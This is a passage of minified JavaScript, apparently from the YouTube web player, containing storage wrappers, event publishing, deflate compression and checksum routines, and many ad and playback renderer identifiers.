g.q.isActive=function(){return this.qq!=0};
g.q.qe=function(){this.qq=0;this.C&&this.C.call(this.Z)};g.To.prototype[Symbol.iterator]=function(){return this};
g.To.prototype.next=function(){var x=this.C.next();return{value:x.done?void 0:this.Z.call(void 0,x.value),done:x.done}};g.TV(g.ER,g.wv);g.q=g.ER.prototype;g.q.isPlaying=function(){return this.C==1};
g.q.isPaused=function(){return this.C==-1};
g.q.Wo=function(){this.m3("begin")};
g.q.VJ=function(){this.m3("end")};
g.q.onFinish=function(){this.m3("finish")};
g.q.onStop=function(){this.m3("stop")};
g.q.m3=function(x){this.dispatchEvent(x)};var Rbb=ZH(function(){var x=g.Xn("DIV"),T=g.OA?"-webkit":jw?"-moz":null,t="transition:opacity 1s linear;";T&&(t+=T+"-transition:opacity 1s linear;");T=wB3({style:t});if(x.nodeType===1&&/^(script|style)$/i.test(x.tagName))throw Error("");x.innerHTML=nd(T);return g.ew(x.firstChild,"transition")!=""});g.TV(qB,g.ER);g.q=qB.prototype;g.q.play=function(){if(this.isPlaying())return!1;this.Wo();this.m3("play");this.startTime=g.x9();this.C=1;if(Rbb())return g.Zt(this.Z,this.D),this.j=g.cd(this.FYU,void 0,this),!0;this.AU(!1);return!1};
g.q.FYU=function(){g.cf(this.Z);hN4(this.Z,this.N);g.Zt(this.Z,this.K);this.j=g.cd((0,g.K4)(this.AU,this,!1),this.T*1E3)};
g.q.stop=function(){this.isPlaying()&&this.AU(!0)};
g.q.AU=function(x){g.Zt(this.Z,"transition","");g.BX.clearTimeout(this.j);g.Zt(this.Z,this.K);this.endTime=g.x9();this.C=0;if(x)this.onStop();else this.onFinish();this.VJ()};
g.q.oU=function(){this.stop();qB.uq.oU.call(this)};
g.q.pause=function(){};var Vwv={rgb:!0,rgba:!0,alpha:!0,rect:!0,image:!0,"linear-gradient":!0,"radial-gradient":!0,"repeating-linear-gradient":!0,"repeating-radial-gradient":!0,"cubic-bezier":!0,matrix:!0,perspective:!0,rotate:!0,rotate3d:!0,rotatex:!0,rotatey:!0,steps:!0,rotatez:!0,scale:!0,scale3d:!0,scalex:!0,scaley:!0,scalez:!0,skew:!0,skewx:!0,skewy:!0,translate:!0,translate3d:!0,translatex:!0,translatey:!0,translatez:!0};Zo("Element","attributes")||Zo("Node","attributes");Zo("Element","innerHTML")||Zo("HTMLElement","innerHTML");Zo("Node","nodeName");Zo("Node","nodeType");Zo("Node","parentNode");Zo("Node","childNodes");Zo("HTMLElement","style")||Zo("Element","style");Zo("HTMLStyleElement","sheet");var BlC=LU5("getPropertyValue"),WUX=LU5("setProperty");Zo("Element","namespaceURI")||Zo("Node","namespaceURI");var g4J={"-webkit-border-horizontal-spacing":!0,"-webkit-border-vertical-spacing":!0};var J2H,BNi,NlD,y2i,C2C;J2H=RegExp("[A-Za-z\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u02b8\u0300-\u0590\u0900-\u1fff\u200e\u2c00-\ud801\ud804-\ud839\ud83c-\udbff\uf900-\ufb1c\ufe00-\ufe6f\ufefd-\uffff]");BNi=RegExp("^[\u0591-\u06ef\u06fa-\u08ff\u200f\ud802-\ud803\ud83a-\ud83b\ufb1d-\ufdff\ufe70-\ufefc]");g.Pb0=RegExp("^[^\u0591-\u06ef\u06fa-\u08ff\u200f\ud802-\ud803\ud83a-\ud83b\ufb1d-\ufdff\ufe70-\ufefc]*[A-Za-z\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u02b8\u0300-\u0590\u0900-\u1fff\u200e\u2c00-\ud801\ud804-\ud839\ud83c-\udbff\uf900-\ufb1c\ufe00-\ufe6f\ufefd-\uffff]");
g.eW=RegExp("^[^A-Za-z\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u02b8\u0300-\u0590\u0900-\u1fff\u200e\u2c00-\ud801\ud804-\ud839\ud83c-\udbff\uf900-\ufb1c\ufe00-\ufe6f\ufefd-\uffff]*[\u0591-\u06ef\u06fa-\u08ff\u200f\ud802-\ud803\ud83a-\ud83b\ufb1d-\ufdff\ufe70-\ufefc]");NlD=/^http:\/\/.*/;g.Sh0=RegExp("^(ar|ckb|dv|he|iw|fa|nqo|ps|sd|ug|ur|yi|.*[-_](Adlm|Arab|Hebr|Nkoo|Rohg|Thaa))(?!.*[-_](Latn|Cyrl)($|-|_))($|-|_)","i");y2i=/\s+/;C2C=/[\d\u06f0-\u06f9]/;m5.prototype.Pw=function(){return new dY(this.Z())};
m5.prototype[Symbol.iterator]=function(){return new MB(this.Z())};
m5.prototype.C=function(){return new MB(this.Z())};
g.P(dY,g.uI);dY.prototype.next=function(){return this.Z.next()};
dY.prototype[Symbol.iterator]=function(){return new MB(this.Z)};
dY.prototype.C=function(){return new MB(this.Z)};
g.P(MB,m5);MB.prototype.next=function(){return this.j.next()};Rc.prototype.clone=function(){return new Rc(this.C,this.N,this.j,this.T,this.K,this.D,this.Z,this.J)};
Rc.prototype.RH=function(x){return this.C==x.C&&this.N==x.N&&this.j==x.j&&this.T==x.T&&this.K==x.K&&this.D==x.D&&this.Z==x.Z&&this.J==x.J};SW.prototype.clone=function(){return new SW(this.start,this.end)};
SW.prototype.getLength=function(){return this.end-this.start};(function(){if(Oa4){var x=/Windows NT ([0-9.]+)/;return(x=x.exec(g.FF()))?x[1]:"0"}return XZ?(x=/1[0|1][_.][0-9_.]+/,(x=x.exec(g.FF()))?x[0].replace(/_/g,"."):"10"):g.Ky?(x=/Android\s+([^\);]+)(\)|;)/,(x=x.exec(g.FF()))?x[1]:""):KTf||XJf||xfd?(x=/(?:iPhone|CPU)\s+OS\s+(\S+)/,(x=x.exec(g.FF()))?x[1].replace(/_/g,"."):""):""})();var pfV=function(){if(g.WT)return c$(/Firefox\/([0-9.]+)/);if(g.jW||g.Qb||g.bm)return iC5;if(g.vU){if(JM()||CC()){var x=c$(/CriOS\/([0-9.]+)/);if(x)return x}return c$(/Chrome\/([0-9.]+)/)}if(g.M4&&!JM())return c$(/Version\/([0-9.]+)/);if(Or||fy){if(x=/Version\/(\S+).*Mobile\/(\S+)/.exec(g.FF()))return x[1]+"."+x[2]}else if(g.rs)return(x=c$(/Android\s+([0-9.]+)/))?x:c$(/Version\/([0-9.]+)/);return""}();g.TV(g.UR,g.W);g.q=g.UR.prototype;g.q.subscribe=function(x,T,t){var u=this.Z[x];u||(u=this.Z[x]=[]);var H=this.D;this.C[H]=x;this.C[H+1]=T;this.C[H+2]=t;this.D=H+3;u.push(H);return H};
g.q.unsubscribe=function(x,T,t){if(x=this.Z[x]){var u=this.C;if(x=x.find(function(H){return u[H+1]==T&&u[H+2]==t}))return this.Cd(x)}return!1};
g.q.Cd=function(x){var T=this.C[x];if(T){var t=this.Z[T];this.K!=0?(this.j.push(x),this.C[x+1]=function(){}):(t&&g.XF(t,x),delete this.C[x],delete this.C[x+1],delete this.C[x+2])}return!!T};
g.q.publish=function(x,T){var t=this.Z[x];if(t){var u=Array(arguments.length-1),H=arguments.length,I;for(I=1;I<H;I++)u[I-1]=arguments[I];if(this.N)for(I=0;I<t.length;I++)H=t[I],OE5(this.C[H+1],this.C[H+2],u);else{this.K++;try{for(I=0,H=t.length;I<H&&!this.T9();I++){var E=t[I];this.C[E+1].apply(this.C[E+2],u)}}finally{if(this.K--,this.j.length>0&&this.K==0)for(;t=this.j.pop();)this.Cd(t)}}return I!=0}return!1};
g.q.clear=function(x){if(x){var T=this.Z[x];T&&(T.forEach(this.Cd,this),delete this.Z[x])}else this.C.length=0,this.Z={}};
g.q.oU=function(){g.UR.uq.oU.call(this);this.clear();this.j.length=0};g.bY.prototype.set=function(x,T){T===void 0?this.C.remove(x):this.C.set(x,g.rd(T))};
g.bY.prototype.get=function(x){try{var T=this.C.get(x)}catch(t){return}if(T!==null)try{return JSON.parse(T)}catch(t){throw"Storage: Invalid value was encountered";}};
g.bY.prototype.remove=function(x){this.C.remove(x)};g.TV(rY,g.bY);rY.prototype.set=function(x,T){rY.uq.set.call(this,x,wfq(T))};
rY.prototype.Z=function(x){x=rY.uq.get.call(this,x);if(x===void 0||x instanceof Object)return x;throw"Storage: Invalid value was encountered";};
rY.prototype.get=function(x){if(x=this.Z(x)){if(x=x.data,x===void 0)throw"Storage: Invalid value was encountered";}else x=void 0;return x};g.TV(zo,rY);zo.prototype.set=function(x,T,t){if(T=wfq(T)){if(t){if(t<g.x9()){zo.prototype.remove.call(this,x);return}T.expiration=t}T.creation=g.x9()}zo.uq.set.call(this,x,T)};
zo.prototype.Z=function(x,T){var t=zo.uq.Z.call(this,x);if(t)if(!T&&g.KUV(t))zo.prototype.remove.call(this,x);else return t};g.TV(g.kP,zo);g.TV(Fz,Xf3);Fz.prototype[Symbol.iterator]=function(){return g.Aw(this.Pw(!0)).C()};
Fz.prototype.clear=function(){var x=Array.from(this);x=g.S(x);for(var T=x.next();!T.done;T=x.next())this.remove(T.value)};g.TV(hw,Fz);g.q=hw.prototype;g.q.isAvailable=function(){var x=this.C;if(x)try{x.setItem("__sak","1");x.removeItem("__sak");var T=!0}catch(t){T=t instanceof DOMException&&(t.name==="QuotaExceededError"||t.code===22||t.code===1014||t.name==="NS_ERROR_DOM_QUOTA_REACHED")&&x&&x.length!==0}else T=!1;return this.Z=T};
g.q.set=function(x,T){v$(this);try{this.C.setItem(x,T)}catch(t){if(this.C.length==0)throw"Storage mechanism: Storage disabled";throw"Storage mechanism: Quota exceeded";}};
g.q.get=function(x){v$(this);x=this.C.getItem(x);if(typeof x!=="string"&&x!==null)throw"Storage mechanism: Invalid value was encountered";return x};
g.q.remove=function(x){v$(this);this.C.removeItem(x)};
g.q.Pw=function(x){v$(this);var T=0,t=this.C,u=new g.uI;u.next=function(){if(T>=t.length)return g.IW;var H=t.key(T++);if(x)return g.$J(H);H=t.getItem(H);if(typeof H!=="string")throw"Storage mechanism: Invalid value was encountered";return g.$J(H)};
return u};
g.q.clear=function(){v$(this);this.C.clear()};
g.q.key=function(x){v$(this);return this.C.key(x)};g.TV(VO,hw);g.TV(xz5,hw);g.TV(Go,Fz);Go.prototype.set=function(x,T){this.Z.set(this.C+x,T)};
Go.prototype.get=function(x){return this.Z.get(this.C+x)};
Go.prototype.remove=function(x){this.Z.remove(this.C+x)};
Go.prototype.Pw=function(x){var T=this.Z[Symbol.iterator](),t=this,u=new g.uI;u.next=function(){var H=T.next();if(H.done)return H;for(H=H.value;H.slice(0,t.C.length)!=t.C;){H=T.next();if(H.done)return H;H=H.value}return g.$J(x?H.slice(t.C.length):t.Z.get(H))};
return u};ne.prototype.getValue=function(){return this.Z};
ne.prototype.clone=function(){return new ne(this.C,this.Z)};g.q=ac.prototype;g.q.pK=function(x,T){var t=this.C;t.push(new ne(x,T));x=t.length-1;T=this.C;for(t=T[x];x>0;){var u=x-1>>1;if(T[u].C>t.C)T[x]=T[u],x=u;else break}T[x]=t};
g.q.remove=function(){var x=this.C,T=x.length,t=x[0];if(!(T<=0)){if(T==1)x.length=0;else{x[0]=x.pop();x=0;T=this.C;for(var u=T.length,H=T[x];x<u>>1;){var I=x*2+1,E=x*2+2;I=E<u&&T[E].C<T[I].C?E:I;if(T[I].C>H.C)break;T[x]=T[I];x=I}T[x]=H}return t.getValue()}};
g.q.FF=function(){for(var x=this.C,T=[],t=x.length,u=0;u<t;u++)T.push(x[u].getValue());return T};
g.q.iy=function(){for(var x=this.C,T=[],t=x.length,u=0;u<t;u++)T.push(x[u].C);return T};
g.q.clone=function(){return new ac(this)};
g.q.isEmpty=function(){return this.C.length===0};
g.q.clear=function(){this.C.length=0};g.P(gY,ac);gY.prototype.enqueue=function(x,T){this.pK(x,T)};B$.Qs=void 0;B$.getInstance=function(){return B$.Qs?B$.Qs:B$.Qs=new B$};
B$.prototype.C=0;var W$={},cMd=typeof Uint8Array!=="undefined"&&typeof Uint16Array!=="undefined"&&typeof Int32Array!=="undefined";W$.assign=function(x){for(var T=Array.prototype.slice.call(arguments,1);T.length;){var t=T.shift();if(t){if(typeof t!=="object")throw new TypeError(t+"must be non-object");for(var u in t)Object.prototype.hasOwnProperty.call(t,u)&&(x[u]=t[u])}}return x};
W$.qc=function(x,T){if(x.length===T)return x;if(x.subarray)return x.subarray(0,T);x.length=T;return x};
var Yh9={Ju:function(x,T,t,u,H){if(T.subarray&&x.subarray)x.set(T.subarray(t,t+u),H);else for(var I=0;I<u;I++)x[H+I]=T[t+I]},
I_:function(x){var T,t;var u=t=0;for(T=x.length;u<T;u++)t+=x[u].length;var H=new Uint8Array(t);u=t=0;for(T=x.length;u<T;u++){var I=x[u];H.set(I,t);t+=I.length}return H}},U9d={Ju:function(x,T,t,u,H){for(var I=0;I<u;I++)x[H+I]=T[t+I]},
I_:function(x){return[].concat.apply([],x)}};
W$.XUu=function(){cMd?(W$.Qa=Uint8Array,W$.mw=Uint16Array,W$.zk=Int32Array,W$.assign(W$,Yh9)):(W$.Qa=Array,W$.mw=Array,W$.zk=Array,W$.assign(W$,U9d))};
W$.XUu();var bC9=!0;try{new Uint8Array(1)}catch(x){bC9=!1};var ZQ={};ZQ=function(x,T,t,u){var H=x&65535|0;x=x>>>16&65535|0;for(var I;t!==0;){I=t>2E3?2E3:t;t-=I;do H=H+T[u++]|0,x=x+H|0;while(--I);H%=65521;x%=65521}return H|x<<16|0};for(var jJ={},dM,rMd=[],MP=0;MP<256;MP++){dM=MP;for(var zby=0;zby<8;zby++)dM=dM&1?3988292384^dM>>>1:dM>>>1;rMd[MP]=dM}jJ=function(x,T,t,u){t=u+t;for(x^=-1;u<t;u++)x=x>>>8^rMd[(x^T[u])&255];return x^-1};var tT={};tT={2:"need dictionary",1:"stream end",0:"","-1":"file error","-2":"stream error","-3":"data error","-4":"insufficient memory","-5":"buffer error","-6":"incompatible version"};var fe=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0],Xz=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13],cp4=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7],Z5V=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],H9=Array(576);Do(H9);var iA=Array(60);Do(iA);var Ke=Array(512);Do(Ke);var OR=Array(256);Do(OR);var wY=Array(29);Do(wY);var xT=Array(30);Do(xT);var RIv,PIV,SSD,ApJ=!1;var Mx;Mx=[new dF(0,0,0,0,function(x,T){var t=65535;for(t>x.EC-5&&(t=x.EC-5);;){if(x.iN<=1){eJ(x);if(x.iN===0&&T===0)return 1;if(x.iN===0)break}x.Dp+=x.iN;x.iN=0;var u=x.h7+t;if(x.Dp===0||x.Dp>=u)if(x.iN=x.Dp-u,x.Dp=u,Ii(x,!1),x.SD.z3===0)return 1;if(x.Dp-x.h7>=x.yY-262&&(Ii(x,!1),x.SD.z3===0))return 1}x.pK=0;if(T===4)return Ii(x,!0),x.SD.z3===0?3:4;x.Dp>x.h7&&Ii(x,!1);return 1}),
new dF(4,4,8,4,lA),new dF(4,5,16,8,lA),new dF(4,6,32,32,lA),new dF(4,4,16,16,m4),new dF(8,16,32,32,m4),new dF(8,16,128,128,m4),new dF(8,32,128,256,m4),new dF(32,128,258,1024,m4),new dF(32,258,258,4096,m4)];var M5f={};M5f=function(){this.input=null;this.Ll=this.hI=this.Zt=0;this.output=null;this.K3=this.z3=this.pc=0;this.msg="";this.state=null;this.HL=2;this.n4=0};var YSi=Object.prototype.toString;
AT.prototype.push=function(x,T){var t=this.SD,u=this.options.chunkSize;if(this.ended)return!1;var H=T===~~T?T:T===!0?4:0;typeof x==="string"?t.input=TT5(x):YSi.call(x)==="[object ArrayBuffer]"?t.input=new Uint8Array(x):t.input=x;t.Zt=0;t.hI=t.input.length;do{t.z3===0&&(t.output=new W$.Qa(u),t.pc=0,t.z3=u);x=dzf(t,H);if(x!==1&&x!==0)return this.VJ(x),this.ended=!0,!1;if(t.z3===0||t.hI===0&&(H===4||H===2))if(this.options.n$==="string"){var I=W$.qc(t.output,t.pc);T=I;I=I.length;if(I<65537&&(T.subarray&&
bC9||!T.subarray))T=String.fromCharCode.apply(null,W$.qc(T,I));else{for(var E="",Z=0;Z<I;Z++)E+=String.fromCharCode(T[Z]);T=E}this.chunks.push(T)}else T=W$.qc(t.output,t.pc),this.chunks.push(T)}while((t.hI>0||t.z3===0)&&x!==1);if(H===4)return(t=this.SD)&&t.state?(u=t.state.status,u!==42&&u!==69&&u!==73&&u!==91&&u!==103&&u!==113&&u!==666?x=si(t,-2):(t.state=null,x=u===113?si(t,-3):0)):x=-2,this.VJ(x),this.ended=!0,x===0;H===2&&(this.VJ(0),t.z3=0);return!0};
AT.prototype.VJ=function(x){x===0&&(this.result=this.options.n$==="string"?this.chunks.join(""):W$.I_(this.chunks));this.chunks=[];this.err=x;this.msg=this.SD.msg};var P9="@@redux/INIT"+Ri(),FLm="@@redux/REPLACE"+Ri();var hI3=typeof Symbol==="function"&&Symbol.observable||"@@observable";var kVF=[0,VmC,-3,ul];g.P(Ui,ag);Ui.prototype.getType=function(){return lX(this,11)};var Qef=function(){var x=[0,L3b,Gib,TC,VmC,TC,-1,ul,VmC,ul,-1,L3b,ul,Gib,oW,kVF,TC,-1,ul];return function(T,t){if(x0.length){var u=x0.pop();zYf(u,t);u.C.init(T,void 0,void 0,t);T=u}else T=new hZ(T,t);try{var H=new Ui,I=H.Ue;sb(x)(I,T);var E=H}finally{T.free()}return E}}();var LLq=912074387;var py4=new g.bA("adInfoDialogEndpoint");var e23=new g.bA("adPingingEndpoint");var GK4=new g.bA("crossDeviceProgressCommand");var oj=new g.bA("actionCompanionAdRenderer");var Eq=new g.bA("adActionInterstitialRenderer");var FdE=new g.bA("adDurationRemainingRenderer");var GO=new g.bA("adHoverTextButtonRenderer");var Cof=new g.bA("adInfoDialogRenderer");var dZ=new g.bA("adMessageRenderer");var Lx=new g.bA("adPreviewRenderer");var sF=new g.bA("adsEngagementPanelRenderer");var inH=new g.bA("dismissablePanelTextPortraitImageRenderer");var $i3=new g.bA("adsEngagementPanelSectionListViewModel");var hb3=new g.bA("flyoutCtaRenderer");var t4=new g.bA("imageCompanionAdRenderer");var iF=new g.bA("instreamAdPlayerOverlayRenderer");var uID=new g.bA("instreamSurveyAdBackgroundImageRenderer");var Vr=new g.bA("instreamSurveyAdPlayerOverlayRenderer");var lC=new g.bA("instreamSurveyAdRenderer"),vb=new g.bA("instreamSurveyAdSingleSelectQuestionRenderer"),h4=new g.bA("instreamSurveyAdMultiSelectQuestionRenderer"),Au=new g.bA("instreamSurveyAdAnswerRenderer"),v99=new g.bA("instreamSurveyAdAnswerNoneOfTheAboveRenderer");var jA=new g.bA("instreamVideoAdRenderer");var V00=new g.bA("textOverlayAdContentRenderer"),GV9=new g.bA("enhancedTextOverlayAdContentRenderer"),Ldb=new g.bA("imageOverlayAdContentRenderer");var IS=new g.bA("playerOverlayLayoutRenderer");var qu=new g.bA("videoInterstitialButtonedCenteredLayoutRenderer");var jfH=new g.bA("aboveFeedAdLayoutRenderer");var e1V=new g.bA("belowPlayerAdLayoutRenderer");var Znf=new g.bA("inPlayerAdLayoutRenderer");var UF=new g.bA("playerBytesAdLayoutRenderer");var FA=new g.bA("playerBytesSequenceItemAdLayoutRenderer");var kY=new g.bA("playerUnderlayAdLayoutRenderer");var eA=new g.bA("adIntroRenderer");var qJ=new g.bA("playerBytesSequentialLayoutRenderer");var CD5=new g.bA("slidingTextPlayerOverlayRenderer");var cb=new g.bA("surveyTextInterstitialRenderer");var sfq=new g.bA("videoAdTrackingRenderer");var n9h=new g.bA("simpleAdBadgeRenderer");var i_=new g.bA("skipAdRenderer"),add=new g.bA("skipButtonRenderer");var Bb=new g.bA("adSlotRenderer");var rz=new g.bA("squeezebackPlayerSidePanelRenderer");var g9M=new g.bA("timedPieCountdownRenderer");var Ns=new g.bA("adAvatarViewModel");var Jz=new g.bA("adBadgeViewModel");var CL=new g.bA("adButtonViewModel");var ByM=new g.bA("adDetailsLineViewModel");var WdM=new g.bA("adDisclosureBannerViewModel");var D9h=new g.bA("adPodIndexViewModel");var yMd=new g.bA("imageBackgroundViewModel");var Nyd=new g.bA("adGridCardCollectionViewModel");var JM9=new g.bA("adGridCardTextViewModel");var CbC=new g.bA("adPreviewViewModel");var QPd=new g.bA("playerAdAvatarLockupCardButtonedViewModel");var pEP=new g.bA("skipAdButtonViewModel");var OCb=new g.bA("skipAdViewModel");var fdV=new g.bA("timedPieCountdownViewModel");var wEb=new g.bA("visitAdvertiserLinkViewModel");var uC=new g.bA("bannerImageLayoutViewModel");var $Y=new g.bA("topBannerImageTextIconButtonedLayoutViewModel");var Hb=new g.bA("adsEngagementPanelLayoutViewModel");var zO=new g.bA("displayUnderlayTextGridCardsLayoutViewModel");g.UD=new g.bA("browseEndpoint");var Kd9=new g.bA("confirmDialogEndpoint");var mO4=new g.bA("rawColdConfigGroup");var l$m=new g.bA("rawHotConfigGroup");g.lJ=new g.bA("commandExecutorCommand");g.P(gJC,ag);var X04={PrQ:0,MHv:1,A8Y:32,tHW:61,vJU:67,ePj:103,pBG:86,G2Z:42,wBG:60,flU:62,J8U:73,VHG:76,alG:88,WNY:90,SLU:99,FNG:98,XBm:100,YLU:102,itG:41,btu:69,CoQ:70,EvU:71,Oaf:2,yyG:27,ANDROID:3,smG:54,VFu:14,vLu:91,Yty:55,JmG:24,tFG:20,mmY:18,eWm:21,aOZ:104,idf:30,EzQ:29,kCG:28,Qq7:101,ZUy:34,St7:36,p_y:38,IOS:5,UCf:15,r7W:92,HBm:40,OB7:25,y7Q:17,IVm:19,QJm:64,DCW:66,Tic:26,RmU:22,fV7:33,n$7:68,g$u:35,hmu:53,MbY:37,lVm:39,b7j:7,Cr9:57,EJ7:43,Ztv:59,k2m:93,Cbf:74,jqv:75,KNf:85,dK9:65,zPY:80,LNU:8,SCY:10,
xKZ:58,uTQ:63,oJY:72,bdU:23,jXU:11,KcW:13,B_U:12,i7U:16,NRZ:56,mK7:31,Uy9:77,wDj:84,sqY:87,Vdf:89,sF7:94,C3y:95};g.P(rF,ag);rF.prototype.OM=function(){return eg(this,3)};
rF.prototype.rF=function(){return eg(this,5)};
rF.prototype.LA=function(x){return d9(this,5,x)};g.P(z3,ag);g.P(BT4,ag);g.P(kT,ag);g.q=kT.prototype;g.q.getDeviceId=function(){return eg(this,6)};
g.q.Tj=function(x){var T=Qd(this,9,ZS,3,!0);Nv(T,x);return T[x]};
g.q.getPlayerType=function(){return lX(this,36)};
g.q.setHomeGroupInfo=function(x){return iX(this,BT4,81,x)};
g.q.clearLocationPlayabilityToken=function(){return WB(this,89)};g.P(FE,ag);FE.prototype.getValue=function(){return eg(this,tZ(this,jx3)===2?2:-1)};
var jx3=[2,3,4,5,6];g.P(hT,ag);hT.prototype.setTrackingParams=function(x){return WB(this,1,zb5(x,!1))};g.P(v9,ag);g.P(V0,ag);V0.prototype.Tj=function(x){var T=Qd(this,5,ez,3,!0);Nv(T,x);return T[x]};g.P(G3,ag);G3.prototype.getToken=function(){return ZI(this,2)};
G3.prototype.setToken=function(x){return d9(this,2,x)};g.P(Lr,ag);Lr.prototype.setSafetyMode=function(x){return AZ(this,5,x)};g.P(nr,ag);nr.prototype.u7=function(x){return iX(this,kT,1,x)};var aj=new g.bA("thumbnailLandscapePortraitRenderer");g.XEV=new g.bA("changeEngagementPanelVisibilityAction");var Mrf=new g.bA("continuationCommand");g.xv0=new g.bA("openPopupAction");g.RW=new g.bA("webCommandMetadata");var zff=new g.bA("metadataBadgeRenderer");var dRJ=new g.bA("signalServiceEndpoint");var LP=new g.bA("innertubeCommand");var uwv=new g.bA("loggingDirectives");var UVV={xbU:"EMBEDDED_PLAYER_MODE_UNKNOWN",zN9:"EMBEDDED_PLAYER_MODE_DEFAULT",uhW:"EMBEDDED_PLAYER_MODE_PFP",Lbm:"EMBEDDED_PLAYER_MODE_PFL"};var TZJ=new g.bA("channelThumbnailEndpoint");var xT5=new g.bA("embeddedPlayerErrorMessageRenderer");var fhX=new g.bA("embeddedPlayerOverlayVideoDetailsRenderer"),osf=new g.bA("embeddedPlayerOverlayVideoDetailsCollapsedRenderer"),tsv=new g.bA("embeddedPlayerOverlayVideoDetailsExpandedRenderer");var UJf=new g.bA("embedsInfoPanelRenderer");var THd=new g.bA("feedbackEndpoint");var ou9=new g.bA("callToActionButtonViewModel");var tQM=new g.bA("interactionLoggingCommandMetadata");var PAv={qLm:"WEB_DISPLAY_MODE_UNKNOWN",nJQ:"WEB_DISPLAY_MODE_BROWSER",BRj:"WEB_DISPLAY_MODE_MINIMAL_UI",c8u:"WEB_DISPLAY_MODE_STANDALONE",gJZ:"WEB_DISPLAY_MODE_FULLSCREEN"};g.P(ai,ag);ai.prototype.getPlayerType=function(){return lX(this,7)};
ai.prototype.AR=function(){return eg(this,19)};
ai.prototype.setVideoId=function(x){return d9(this,19,x)};g.P(gF,ag);g.P(B9,ag);g.P(y0,ag);
var s2h=[2,3,5,6,7,11,13,20,21,22,23,24,28,32,37,45,59,72,73,74,76,78,79,80,85,91,97,100,102,105,111,117,119,126,127,136,146,148,151,156,157,158,159,163,164,168,176,177,178,179,184,188,189,190,191,193,194,195,196,197,198,199,200,201,202,203,204,205,206,208,209,215,219,222,225,226,227,229,232,233,234,240,241,244,247,248,249,251,254,255,256,257,258,259,260,261,266,270,272,278,288,291,293,300,304,308,309,310,311,313,314,319,320,321,323,324,327,328,330,331,332,334,337,338,340,344,348,350,351,352,353,
354,355,356,357,358,361,363,364,368,369,370,373,374,375,378,380,381,383,388,389,399,402,403,410,411,412,413,414,415,416,417,418,423,424,425,426,427,429,430,431,439,441,444,448,458,469,471,473,474,480,481,482,484,485,486,491,495,496,506,507,509,511,512,513,514,515];var uoE=new g.bA("loggingContext");g.P(Nx,ag);g.P(JT,ag);JT.prototype.AR=function(){return ZI(this,tZ(this,IY)===1?1:-1)};
JT.prototype.setVideoId=function(x){return T5(this,1,IY,cB(x))};
JT.prototype.getPlaylistId=function(){return ZI(this,tZ(this,IY)===2?2:-1)};
var IY=[1,2];g.P(WL5,ag);var x7=new g.bA("changeKeyedMarkersVisibilityCommand");var $vd=new g.bA("changeMarkersVisibilityCommand");var FO4=new g.bA("loadMarkersCommand");var HAC=new g.bA("suggestedActionDataViewModel");var WZv=new g.bA("timelyActionViewModel");var BGv=new g.bA("timelyActionsOverlayViewModel");var JzV=new g.bA("productListItemRenderer");var iAh=new g.bA("shoppingOverlayRenderer");var wb3=new g.bA("musicEmbeddedPlayerOverlayVideoDetailsRenderer");var Iwb=new g.bA("adFeedbackEndpoint");var EuC=new g.bA("menuEndpoint");var uLq=new g.bA("phoneDialerEndpoint");var t4v=new g.bA("sendSmsEndpoint");var Oxi=new g.bA("copyTextEndpoint");var qy3=new g.bA("shareEndpoint"),ZAF=new g.bA("shareEntityEndpoint"),j2E=new g.bA("shareEntityServiceEndpoint"),eY9=new g.bA("webPlayerShareEntityServiceEndpoint");g.GQ=new g.bA("urlEndpoint");g.KB=new g.bA("watchEndpoint");var lwE=new g.bA("watchPlaylistEndpoint");g.mv3=new g.bA("offlineOrchestrationActionCommand");var z7m=new g.bA("compositeVideoOverlayRenderer");var dv9=new g.bA("miniplayerRenderer");var QjX=new g.bA("paidContentOverlayRenderer");var MQh=new g.bA("playerMutedAutoplayOverlayRenderer"),AmC=new g.bA("playerMutedAutoplayEndScreenRenderer");var WYD=new g.bA("unserializedPlayerResponse"),RYh=new g.bA("unserializedPlayerResponse");var Pgb=new g.bA("playlistEditEndpoint");var PN;g.nx=new g.bA("buttonRenderer");PN=new g.bA("toggleButtonRenderer");var upq=new g.bA("counterfactualRenderer");var Syy=new g.bA("resolveUrlCommandMetadata");var cmV=new g.bA("modifyChannelNotificationPreferenceEndpoint");var jYC=new g.bA("pingingEndpoint");var Yy9=new g.bA("unsubscribeEndpoint");g.bv=new g.bA("subscribeButtonRenderer");var Uv9=new g.bA("subscribeEndpoint");var lRV=new g.bA("buttonViewModel");var Hn5=new g.bA("qrCodeRenderer");var TLH={emu:"LIVING_ROOM_APP_MODE_UNSPECIFIED",tbv:"LIVING_ROOM_APP_MODE_MAIN",J7j:"LIVING_ROOM_APP_MODE_KIDS",mCj:"LIVING_ROOM_APP_MODE_MUSIC",pmW:"LIVING_ROOM_APP_MODE_UNPLUGGED",YGc:"LIVING_ROOM_APP_MODE_GAMING"};var SFC=new g.bA("autoplaySwitchButtonRenderer");var UP,h3J,p1f,yuf;UP=new g.bA("decoratedPlayerBarRenderer");h3J=new g.bA("chapteredPlayerBarRenderer");p1f=new g.bA("multiMarkersPlayerBarRenderer");yuf=new g.bA("chapterRenderer");g.LtH=new g.bA("markerRenderer");var bAP=new g.bA("decoratedPlayheadRenderer");var bx3=new g.bA("desktopOverlayConfigRenderer");var I7q=new g.bA("engagementPanelSectionListRenderer");var YFm=new g.bA("gatedActionsOverlayViewModel");var BMX=new g.bA("heatMarkerRenderer");var g0D=new g.bA("heatmapRenderer");var kOf=new g.bA("watchToWatchTransitionRenderer");var KOX=new g.bA("playlistPanelRenderer");var rmb=new g.bA("productUpsellSuggestedActionViewModel");var zYM=new g.bA("suggestedActionTimeRangeTrigger"),kqb=new g.bA("suggestedActionsRenderer"),Fub=new g.bA("suggestedActionRenderer");var Wt5=new g.bA("timedMarkerDecorationRenderer");var qqX=new g.bA("cipher");var DUf=new g.bA("playerVars");var hYE=new g.bA("playerVars");var Su=g.BX.window,vub,VQE,Cr=(Su==null?void 0:(vub=Su.yt)==null?void 0:vub.config_)||(Su==null?void 0:(VQE=Su.ytcfg)==null?void 0:VQE.data_)||{};g.DC("yt.config_",Cr);var fr=[];var wYX=/^[\w.]*$/,Qmv={q:!0,search_query:!0},CIX=String(xD);var Er=new 